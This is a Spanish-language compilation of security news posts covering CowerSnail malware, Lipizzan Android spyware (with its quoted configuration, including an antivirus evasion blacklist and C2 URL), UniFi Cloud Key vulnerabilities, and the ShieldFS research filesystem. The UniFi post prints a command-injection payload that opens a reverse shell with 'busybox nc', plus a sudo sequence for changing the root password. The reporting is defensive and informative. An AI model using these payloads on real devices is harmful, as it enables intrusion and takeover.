De los creadores de SambaCry llega CowerSnail

El mismo grupo de atacantes – sin nombre conocido aún – que crearon SambaCry han creado este nuevo malware, el cual tiene como objetivo a sistemas Windows.

 

SambaCry fue detectado a principios de junio como un ataque que utilizaba la vulnerabilidad CVE-2017-7494 de Samba (de la que adquiere el nombre) para distribuirse. El objetivo de este malware es aprovechar los recursos del equipo infectado para minar criptomonedas, tales como Bitcoin, Latecoin, Monero, etc., instalando para ello el software CPUminer en el equipo víctima.
CowerSnail, es un backdoor que permite a los atacantes ejecutar cualquier comando en los sistemas infectados. Curiosamente, ambos troyanos usan el mismo C&C: cl.ezreal.space:20480. Lo que apunta a que ambos provienen de los mismo creadores según los investigadores de Kapersky Labs, que descubrieron ambas amenazas.
Sin embargo, hay pocas similitudes más allá de esta. Mientras que SambaCry atacaba a sistemas *nix, CowerSnail está enfocado a sistemas Windows. Además, algunos investigadores aseguran que este nuevo troyano cuenta con otras características especiales, como la recolección de información del equipo que infecta, y que van más allá de instalar software de minado.
Sergey Yunakovsky, de Kapersky Labs, afirma que:

Después de crear dos troyanos separados, cada uno para una plataforma específica, es muy probable que este grupo continúe produciendo malware en el futuro.

Más información:

CowerSnail, from the creators of SambaCry:

Lipizzan: el nuevo Malware espía detectado en Google Play

Hace unos días, Google anunciaba el descubrimiento de un nuevo malware para Android. Se trata de una aplicación maliciosa cuya misión es recopilar todo tipo de información personal sobre la víctima para después transmitirla al atacante.

El malware implementa rutinas para capturar datos de las principales aplicaciones de mensajería: WhatsApp, Telegram, Messenger, Skype, GMail, etc.

Además, permite controlar de forma remota la cámara, el micrófono y acceder a los archivos del dispositivo y a su localización.

Aunque no se conoce con seguridad su procedencia, los investigadores de Android Security han encontrado en su código referencias a Equus Technologies, una empresa israelí especializada en el desarrollo de herramientas de vigilancia. De hecho, para la investigación sobre Lipizzan se han utilizado las mismas técnicas que en el estudio de otras infecciones recientes como Chrysaor, desarrollada por NSO Group.

Logo de NSO Group

 

CÓMO INFECTA LIPIZZAN

El virus se camufla como una aplicación legítima para realizar backups o para limpiar el sistema, poniendose a disposición del público en distintos markets y repositorios (incluído Google Play). La infección tiene lugar en dos etapas:

  1. Una primera etapa, en la que la víctima descarga e instala la aplicación.
  2. Una segunda, etapa en la que tras comprobar que el dispositivo es vulnerable, descarga las instrucciones necesarias para rootear el dispositivo y controlarlo.
 
Muestra de la segunda componente:
Media Server [Koodous]
Las últimas variantes del virus cambian el nombre de paquete, y ahora transmiten el exploit de la segunda fase de forma cifrada, lo que dificulta la detección. Además dispone de mecanismos de detección de máquinas virtuales para ocultar su verdadero comportamiento ante los ojos del analista inexperto.
A continuación uno de los ficheros de configuración que recopila alguna información interesante sobre el malware:

Extensiones de los archivos objetivo

“extensions”: [“3dm”, “3ds”, “3fr”, “3g2”, “3gp”, “3gpp”, “3pr”, “7z”,
“ab4”, “accdb”, “accde”, “accdr”, “accdt”, “ach”, “acr”, “act”, “adb”,
“ads”, “agdl”, “ai”, “ait”, “al”, “apj”, “arw”, “asf”, “asm”, “asp”, “asx”,
“avi”, “awg”, “back”, “backup”, “backupdb”, “bak”, “bank”, “bay”, “bdb”,
“bgt”, “bik”, “bkp”, “blend”, “bpw”, “c”, “cdf”, “cdr”, “cdr3”, “cdr4”,
“cdr5”, “cdr6”, “cdrw”, “cdx”, “ce1”, “ce2”, “cer”, “cfp”, “cgm”, “cib”,
“class”, “cls”, “cmt”, “cpi”, “cpp”, “cr2”, “craw”, “crt”, “crw”, “crypt5”,
“crypt6”, “crypt7”, “crypt8”, “cs”, “csh”, “csl”, “csv”, “dac”, “db”, “db-journal”,
“db3”, “dbf”, “dc2”, “dcr”, “dcs”, “ddd”, “ddoc”, “ddrw”, “dds”, “der”, “des”,
“design”, “dgc”, “djvu”, “dng”, “doc”, “docm”, “docx”, “dot”, “dotm”, “dotx”, “drf”, “drw”, “dtd”, “dwg”, “dxb”, “dxf”, “dxg”, “eml”, “eps”, “erbsql”, “erf”, “exf”, “fdb”, “ffd”, “fff”, “fh”, “fhd”, “fla”, “flac”, “flv”, “fpx”, “fxg”, “gray”, “grey”, “gry”, “h”, “hbk”, “hpp”, “ibank”, “ibd”, “ibz”, “idx”, “iif”, “iiq”, “incpas”, “indd”, “java”, “jpe”, “kc2”, “kdbx”, “kdc”, “key”, “kpdx”, “lua”, “m”, “m4v”, “max”, “mdb”, “mdc”, “mdf”, “mef”, “mfw”, “mmw”, “moneywell”, “mos”, “mov”, “mp3”, “mp4”, “mpg”, “mrw”, “mrw”, “msg”, “myd”, “nd”, “ndd”, “nef”, “nk2”, “nop”, “nrw”, “ns2”, “ns3”, “ns4”, “nsd”, “nsf”, “nsg”, “nsh”, “nwb”, “nx2”, “nx1”, “nyf”, “oab”, “obj”, “odb”, “odc”, “odf”, “odg”, “odm”, “odp”, “ods”, “odt”, “oil”, “orf”, “ost”, “otg”, “oth”, “otp”, “ots”, “ott”, “p12”, “p7b”, “p7c”, “pab”, “pages”, “pas”, “pat”, “pcd”, “pct”, “pdb”, “pdd”, “pdf”, “pef”, “pem”, “pfx”, “php”, “pl”, “plc”, “pot”, “potm”, “potx”, “ppam”, “pps”, “ppsm”, “ppsx”, “ppt”, “pptm”, “pptx”, “prf”, “ps”, “psafe3”, “psd”, “pspimage”, “pst”, “ptx”, “py”, “qba”, “qbb”, “qbm”, “qbr”, “qbw”, “qbx”, “qby”, “r3d”, “raf”, “rar”, “rat”, “raw”, “rdb”, “rm”, “rtf”, “rw2”, “rw1”, “rwz”, “s3db”, “sas7bdat”, “say”, “sd0”, “sda”, “sdf”, “sldm”, “sldx”, “sql”, “sqlite”, “sqlite3”, “sqlitedb”, “sr2”, “srf”, “srt”, “srw”, “st4”, “st5”, “st6”, “st7”, “st8”, “stc”, “std”, “sti”, “stw”, “stx”, “svg”, “swf”, “sxc”, “sxd”, “sxg”, “sxi”, “sxm”, “sxw”, “tex”, “tga”, “thm”, “tlg”, “txt”, “vob”, “wallet”, “wav”, “wb2”, “wmv”, “wpd”, “wps”, “x11”, “x3f”, “xis”, “xla”, “xlam”, “xlk”, “xlm”, “xlr”, “xls”, “xlsb”, “xlsm”, “xlsx”, “xlt”, “xltm”, “xltx”, “xlw”, “ycbcra”, “yuv”, “zip”],
Lista negra de aplicaciones

“blacklist_apps”: [“org.antivirus”, “com.antivirus”, “com.avast.android.mobilesecurity”, “com.cleanmaster.security”, “com.avira.android”, “com.trustgo.mobile.security”, “com.kms.free”, “com.kaspersky.kes”, “com.kaspersky.lightscanner”, “com.cleanmaster.mguard”, “com.lookout.enterprise”, “com.wsandroid.suite”, “com.eset.ems2.gp”, “com.symantec.enterprise.mobile.security”, “com.qihoo.security”,
“org.malwarebytes.antimalware”, “com.trendmicro.tmmssuite.mdm”, “com.trendmicro.virdroid”, “com.bitdefender.antivirus”, “com.zimperium.zips”, “com.psafe.msuite”, “com.sophos.smsec”, “com.drweb”, “com.drweb.mcc”, “com.bullguard.mobile.mobilesecurity”, “com.bullguard.mobilebackup”, “net.nshc.droidx3”, “net.nshc.droidx3web”, “com.sophos.appprotectionmonitor”, “com.sophos.smsec”, “com.sophos.mobilecontrol.client.android”, “com.sophos.smenc”, “com.comodo.cisme.antivirus”, “com.quickheal.platform”, “com.mobandme.security.virusguard”, “de.gdata.mobilesecurity”, “de.gdata.securechat”, “com.webroot.security.sme”, “com.webroot.secureweb”, “com.ahnlab.v3mobileplus”, “com.antiy.avlpro”, “com.antiy.avl”],

 

 

Servidor de contacto

“api_url”: “https://vps.equus-tech.com:44001”,

ALGUNAS MUESTRAS DE LIPIZZAN

Primeras versiones de Lipizzan

Versiones actualizadas de Lipizzan

Las aplicaciones ya se encuentran fuera de Google Play y los pocos usuarios infectados (unos 100) ya han sido debidamente notificados.
Como siempre y como recomendación: sentido común y desconfiar de aplicaciones poco conocidas.

MÁS INFORMACIÓN:

Información oficial de los desarrolladores de Google
Repositorio con muestras de Lipizzan

Múltiples vulnerabilidades críticas en Ubiquiti Networks UniFi Cloud Key

Se han revelado varias vulnerabilidades críticas en los dispositivos Ubiquiti Networks UniFi Cloud Key que podrían permitir la inyección de comandos, la obtención de la contraseña del usuario y elevar privilegios.

 

La primera de las vulnerabilidades se encuentra en el fichero ‘api.inc’ y podría permitir una inyección de comandos a través del envío a la víctima de un enlace de actualización para el firmware de UniFi Cloud Key especialmente manipulado. Así sería posible utilizar una shell inversa para obtener acceso al dispositivo.

;busybox nc <IP-Origen> <Puerto-Origen> -e /bin/bash;
http://enlace-utilizado-para-ocultar-el-comando-en-la-ventana-de-actualizacion

En este punto se podría obtener la contraseña del usuario debido a un segundo fallo de seguridad: el fichero ‘system.cfg’ almacena los nombres de usuario y hashes MD5 de las contraseñas, los cuales se podrían romper en un tiempo razonable. Y, aunque el usuario de la interfaz web ‘www-data’ tiene permisos limitados de acceso y ejecución, sí puede leer dicho archivo de configuración.

Una vez obtenida la contraseña del usuario, sería posible modificar la configuración de la red inalámbrica.

Además existe una tercera vulnerabilidad que podría permitir secuestrar al usuario ‘root’ y elevar privilegios en el dispositivo. El fallo, ubicado en el fichero ‘/etc/sudoers.d/cloudkey-webui’, consiste en que algunos binarios permiten la ejecución a través de “sudo” sin solicitar la contraseña de ‘root’. De tal forma que la contraseña del usuario “root” puede ser modificada por el usuario ‘www-data’ a pesar de tener permisos limitados a mediante el binario ‘ubnt-systool’. Ejemplo:

$ cd /tmp
$ echo “root:password” > file.txt
$ /usr/bin/sudo /sbin/ubnt-systool chpasswd < file.txt

Aunque estos errores fueron descubiertos el pasado mes de Febrero por SEC Consult, la información no ha sido revelada hasta el momento para permitir una ventana temporal suficiente tanto para que el fabricante liberase una solución como para que los usuarios pudiesen actualizar sus dispositivos.

Se ha comprobado que las versiones 0.5.9 y 0.6.0, y potencialmente versiones anteriores, de Ubiquiti Networks UniFi Cloud Key son vulnerables. Para solucionar estos problemas es necesario instalar la actualización del firmware v0.6.1 o superior.

Más información:
Ubiquiti Networks UniFi Cloud Key multiple critical vulnerabilities
https://www.sec-consult.com/fxdata/seccons/prod/temedia/advisories_txt/20170727-0_Ubiquiti_Networks_UniFi_Cloud_Key_Multiple_Critical_Vulnerabilities_v10.txt

UniFi Cloud Key firmware download
https://www.ubnt.com/download/unifi

ShieldFS: un sistema de ficheros contra el ransomware

ShieldFS es un sistema de ficheros que nace fruto de la investigación de un equipo del Politécnico de Milán. Durante meses, recolectaron datos de millones de peticiones de I/O realizadas por aplicaciones legítimas en sistemas operativos limpios, y por ransomware en equipos infectados. Esto permitió ver las diferencias entre ambos y establecer modelos de comportamiento.

En general, al comparar con otros procesos, en el comportamiento típico del ransomware se realizan más lecturas, escrituras y cambios de nombre a un fichero, además de generar alta entropía en las operaciones de escritura. Hay un análisis pormenorizado de esta comparativa en la tabla 3 de su estudio.

Con estos datos en la mano, es posible reconocer el ransomware nada más comience su actividad maliciosa. Para esto, se diseñó una capa de protección y sistema de monitorización de procesos que se introdujo cono driver en el sistema de ficheros nativo de Windows. Al iniciarse un proceso desconocido, es monitorizado en sus primeros pasos en el sistema hasta que se puede discernir por su comportamiento que es seguro. En caso de detectar actividad propia del ransomware, el proceso queda bloqueado.

Comparación de actividad entre procesos benignos y ransomware. Tomado de http://shieldfs.necst.it/shieldfs-acsac16.pdf
Pero la funcionalidad del sistema de ficheros va más allá de este bloqueo. Además, se incluye un sistema de respaldo que mantiene copias recientes de los ficheros. De esta manera, tras la detección del ransomware, todos los ficheros escritos por este se sustituyen por un respaldo reciente en cuestión de segundos.

Esto es especialmente útil dado que, según los investigadores, en ocasiones los rescates se pagan simplemente porque los ficheros recientes son más valiosos para los usuarios. Los sistemas de respaldo tradicionales deben llegar a un compromiso entre rendimiento, espacio y actualidad, y es complicado que tengan cambios recientes. Esta dificultad es eludida por ShieldFS al trabajar a más bajo nivel.

Funcionamiento de ShieldFS. Tomado de http://shieldfs.necst.it/shieldfs-acsac16.pdf

Para las pruebas del sistema, se llevaron a cabo infecciones de tres muestras de ransomware (TeslaCrypt, Critroni y ZeroLocker) en equipos reales de usuarios voluntarios detectando y restaurando la actividad maliciosa con éxito.

Sin embargo, el sistema tiene limitaciones. Por ejemplo, un atacante podría camuflar la actividad maliciosa inyectando código en los procesos benignos del sistema y dejando que cada uno de estos haga una pequeña parte del cifrado malicioso, camuflado así su actividad.

ShieldFS fue presentado el pasado diciembre en la Annual Computer Security Applications Conference de Los Angeles y el pasado miércoles en la Black Hat en Las Vegas. Aunque de momento pertenece al mundo académico, estaremos atentos al avance del proyecto para ver si representa un avance hacia la erradicación del ransomware, una amenaza que ha atacado con especial virulencia en los últimos meses.


Más información:
SHIELDFS: A Self-healing, Ransomware-aware Filesystem


ShieldFS: A Self-healing, Ransomware-aware Filesystem Paper [PDF]: